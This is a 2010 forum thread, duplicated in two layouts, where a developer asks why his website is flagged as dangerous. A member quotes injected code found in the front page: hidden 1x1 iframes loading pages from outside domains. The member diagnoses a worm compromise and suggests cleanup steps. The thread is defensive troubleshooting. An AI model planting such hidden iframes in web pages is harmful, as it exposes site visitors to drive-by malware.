Topic awaiting preservation: This Websoite has been marked as attacked $Pages that link to <a href="https://ozoneasylum.com/backlink?for=31969" title="Pages that link to Topic awaiting preservation: This Websoite has been marked as attacked" rel="nofollow" >Topic awaiting preservation: This Websoite has been marked as attacked\$

Author	Thread
Blacknight Paranoid (IV) Inmate From: INFRONT OF MY PC Insane since: Dec 2001	posted 09-03-2010 12:37 Sorry for the Title, I'm not quite sure how the proper translation is. I'm the Developer of www.agora.at and I am getting messages that the website has been marked as insecure. (Visit the website and you will probably see the Red warning Window, if you are using Firefox). Now I am quite sure that my code is not male-ware and the scripts I used are tiny-mce and BackBox Image Viewer script. So has anybody encountered this before, and what can I do to fix this issue?
Tyberius Prime Maniac (V) Mad Scientist with Finglongers From: Germany Insane since: Sep 2001	posted 09-03-2010 13:16 what's this at the bottom of your front page source code? code: <html><body><iframe src="http://severnadobs.com/bd/index.php" width="1" height="1" frameborder="0"></iframe><iframe src="http://lekorbashen.com/lola/index.php" width="1" height="1" frameborder="0"></iframe><iframe src="http://heskdo44se.com/hel/index.php" width="1" height="1" frameborder="0"></iframe><iframe src="http://spk-files.com/buk/index.php" width="1" height="1" frameborder="0"></iframe></body></html> . i'd guess your website has been hacked, and is now distributing javascript mal ware, which lead to it being registered in one of those 'dangerous websites' databases... so remove that (upload a known good copy of the code, don't just remove that in one file...), find the whole, upload again, fix the hole, contact the databases to get your site cleared.
Blacknight Paranoid (IV) Inmate From: INFRONT OF MY PC Insane since: Dec 2001	posted 09-06-2010 16:38 thanks It looks like someone has inserted that code at the end of the index file.
Tyberius Prime Maniac (V) Mad Scientist with Finglongers From: Germany Insane since: Sep 2001	posted 09-06-2010 18:39 It looks like an automated worm has gained entry to your system and will do so again unless you find and fix the hole. On a site node: Why does your webserver have write permissions on it's php files?
Blacknight Paranoid (IV) Inmate From: INFRONT OF MY PC Insane since: Dec 2001	posted 09-06-2010 18:57 I have notified the hoster of the webspace. Hopefully he will resolve the problem. About the permissions, i will have a check on them.

Topic awaiting preservation: This Websoite has been marked as attacked\$

Author

Thread

Blacknight
Paranoid (IV) Inmate

From: INFRONT OF MY PC
Insane since: Dec 2001

posted 09-03-2010 12:37

Sorry for the Title, I'm not quite sure how the proper translation is.

I'm the Developer of www.agora.at and I am getting messages that the website has been marked as insecure. (Visit the website and you will probably see the Red warning Window, if you are using Firefox).
Now I am quite sure that my code is not male-ware and the scripts I used are tiny-mce and BackBox Image Viewer script.

So has anybody encountered this before, and what can I do to fix this issue?

Tyberius Prime
Maniac (V) Mad Scientist with Finglongers

From: Germany
Insane since: Sep 2001

posted 09-03-2010 13:16

what's this at the bottom of your front page source code?

code:

<html><body><iframe src="http://severnadobs.com/bd/index.php" width="1" height="1" frameborder="0"></iframe><iframe src="http://lekorbashen.com/lola/index.php" width="1" height="1" frameborder="0"></iframe><iframe src="http://heskdo44se.com/hel/index.php" width="1" height="1" frameborder="0"></iframe><iframe src="http://spk-files.com/buk/index.php" width="1" height="1" frameborder="0"></iframe></body></html>

.

i'd guess your website has been hacked, and is now distributing javascript mal ware, which lead to it being registered in one of those 'dangerous websites' databases...

so remove that (upload a known good copy of the code, don't just remove that in one file...), find the whole, upload again, fix the hole, contact the databases to get your site cleared.

Blacknight
Paranoid (IV) Inmate

From: INFRONT OF MY PC
Insane since: Dec 2001

posted 09-06-2010 16:38

thanks

It looks like someone has inserted that code at the end of the index file.

Tyberius Prime
Maniac (V) Mad Scientist with Finglongers

From: Germany
Insane since: Sep 2001

posted 09-06-2010 18:39

It looks like an automated worm has gained entry to your system and will do so again unless you find and fix the hole.

On a site node: Why does your webserver have write permissions on it's php files?

Blacknight
Paranoid (IV) Inmate

From: INFRONT OF MY PC
Insane since: Dec 2001

posted 09-06-2010 18:57

I have notified the hoster of the webspace. Hopefully he will resolve the problem. About the permissions, i will have a check on them.